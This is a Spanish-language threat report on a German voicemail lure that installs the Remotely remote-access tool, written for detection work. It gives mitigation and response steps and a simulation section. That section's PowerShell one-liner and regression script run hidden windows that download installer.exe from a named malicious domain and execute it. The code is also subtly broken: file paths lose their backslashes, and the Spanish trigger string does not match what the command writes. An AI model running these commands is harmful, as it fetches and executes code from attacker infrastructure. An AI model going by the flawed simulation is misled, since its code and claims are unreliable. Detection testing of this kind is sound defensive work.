Trampa de Buzón de Voz: señuelo de buzón de voz en alemán conduce a acceso remoto

Resumen

Los actores de amenazas están alojando páginas de destino de «correo de voz» en idioma alemán que atraen a los usuarios a descargar un archivo BAT. El script reproduce un señuelo de audio benigno mientras instala silenciosamente la herramienta de monitoreo remoto legitima Remotely. Una vez desplegado, el agente RMM proporciona al atacante acceso remoto persistente a través de infraestructura de C2 controlada por el atacante.

Investigación

Censys identificó 86 propiedades web comprometidas en dominios *.cadillac.ps distribuyendo el malicioso BAT. El script invoca un instalador de PowerShell alojado en remotely.billbutterworth.com, que descarga un paquete ZIP de Remotely. El archivo contiene los componentes del agente Remotely y un servicio que se instala en C:Program FilesRemotely.

Mitigación

Bloquear los dominios *.cadillac.ps y remotely.billbutterworth.com en la capa de DNS/proxy. Capacitar a los usuarios para no ejecutar archivos BAT inesperados o copiar/pegar comandos de PowerShell desde páginas web desconocidas. Implementar controles de punto final para detectar la creación del servicio Remotely y rutas de instalación sospechosas o herramientas sin firmar.

Respuesta

Alertar sobre la creación de Remotely_Service y la presencia de Remotely_Agent.exe bajo Program Files. Buscar voicemail.bat y la actividad relacionada del instalador de PowerShell. Aislar los hosts afectados, recopilar artefactos forenses y rotar/revocar cualquier credencial o token utilizado por el agente RMM.

Ejecución de Simulación

Requisito previo: Debe haberse superado la Comprobación de Telemetría y Baseline Pre‑vuelo.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

• Narrativa de Ataque y Comandos:

  1. Entrega por Phishing: El atacante envía un correo electrónico con un adjunto de señuelo de correo de voz en alemán (HTML) que, al abrirse, redirige a la víctima a http://bannerbank.cadillac.ps/voicemail.html.
  2. Ejecución en la Página de Destino: La página de destino aloja un comando de una línea de PowerShell malicioso que descarga y ejecuta un instalador de herramienta de gestión remota (RMM).
  3. Creación de Proceso: Cuando el navegador de la víctima procesa la página, PowerShell se invoca con una línea de comandos que explícitamente incluye las dos cadenas que la regla observa.
  4. Telemetría Resultante: Windows registra el Evento ID 4688 con un CommandLine contiene ambas “página de destino temática de correo de voz” and “bannerbank.cadillac.ps”, satisfaciendo así la condición de Sigma.

  El comando exacto utilizado para la simulación:

  # Ejecución maliciosa simulada – contiene ambas cadenas de activación
  Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"Write-Host 'voicemail-themed landing page'; Invoke-WebRequest -Uri 'http://bannerbank.cadillac.ps/installer.exe' -OutFile $env:TEMPinstaller.exe; Start-Process $env:TEMPinstaller.exe`""

• Script de Prueba de Regresión: Un script de PowerShell autónomo que reproduce el ataque y se puede ejecutar en cualquier host de Windows con el registro requerido habilitado.

  <#
  .SINOPSIS
      Simula el cebo de correo de voz alemán que activa la regla de detección Sigma.
  .DESCRIPCIÓN
      Ejecuta una línea de comando de PowerShell que contiene ambas subcadenas requeridas.
  #>
  
  # Definir cadenas maliciosas
  $lureText = "página de destino temática de correo de voz"
  $maliciousDomain = "bannerbank.cadillac.ps"
  
  # Construir la línea única que aparecerá en la línea de comandos
  $payload = @"
  Write-Host '$lureText';
  Invoke-WebRequest -Uri 'http://$maliciousDomain/installer.exe' -OutFile $env:TEMPinstaller.exe;
  Start-Process $env:TEMPinstaller.exe
  "@
  
  # Lanzar PowerShell con la línea de comando diseñada
  $psArgs = "-NoProfile -WindowStyle Hidden -Command `"$payload`""
  Write-Host "Lanzando comando de PowerShell malicioso..."
  Start-Process -FilePath "powershell.exe" -ArgumentList $psArgs -PassThru
  
  # Opcional: esperar unos segundos para asegurar el registro
  Start-Sleep -Seconds 5

• Comandos de Limpieza: Eliminar el instalador descargado y cualquier proceso residual.

  # Detener cualquier proceso de instalador que persista
  Get-Process -Name "installer" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Eliminar el archivo temporal del instalador
  $installerPath = "$env:TEMPinstaller.exe"
  if (Test-Path $installerPath) {
      Remove-Item $installerPath -Force
      Write-Host "Limpieza de $installerPath"
  }